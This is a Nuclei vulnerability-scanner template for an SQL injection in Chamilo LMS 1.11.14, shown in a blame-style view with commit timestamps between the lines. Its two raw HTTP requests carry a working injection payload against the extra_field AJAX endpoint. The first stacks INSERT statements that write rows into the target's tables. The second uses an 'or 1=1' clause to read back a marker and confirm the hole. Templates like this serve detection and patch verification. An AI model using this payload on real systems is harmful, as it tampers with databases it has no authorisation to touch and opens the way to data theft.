2021-04-24 16:11:58 +00:00
|
|
|
id: chamilo-lms-sqli
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-04-24 16:11:58 +00:00
|
|
|
info:
|
|
|
|
name: Chamilo LMS SQL Injection
|
2022-04-22 10:38:41 +00:00
|
|
|
author: undefl0w
|
2021-04-24 16:11:58 +00:00
|
|
|
severity: high
|
2021-04-28 10:18:34 +00:00
|
|
|
description: Finds sql injection in Chamilo version 1.11.14
|
2021-04-28 14:14:28 +00:00
|
|
|
tags: chamilo,sqli
|
|
|
|
|
2021-04-24 16:11:58 +00:00
|
|
|
requests:
|
2021-04-24 16:35:29 +00:00
|
|
|
- raw:
|
2021-04-24 19:15:57 +00:00
|
|
|
- |
|
|
|
|
POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
|
2021-04-24 18:41:38 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-04-24 16:11:58 +00:00
|
|
|
|
2021-04-28 14:14:28 +00:00
|
|
|
type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'{{randstr}}'); INSERT INTO extra_field_options(option_value) VALUES ('{{randstr}}'); INSERT INTO tag (id, tag, field_id,count) VALUES(16, '{{randstr}}', 16,0) ON DUPLICATE KEY UPDATE tag='{{randstr}}', field_id=16, count=0; -- "]
|
2021-04-24 16:11:58 +00:00
|
|
|
|
2021-04-28 10:18:34 +00:00
|
|
|
- |
|
|
|
|
POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2021-04-28 14:14:28 +00:00
|
|
|
type=image&field_id=image&tag=image&from=image&search=image&options=["test') or 1=1 -- "]
|
2021-04-28 10:18:34 +00:00
|
|
|
|
2021-04-28 14:14:28 +00:00
|
|
|
req-condition: true
|
2021-04-24 18:41:38 +00:00
|
|
|
matchers:
|
2021-04-28 14:14:28 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(body_2, "{{randstr}}")'
|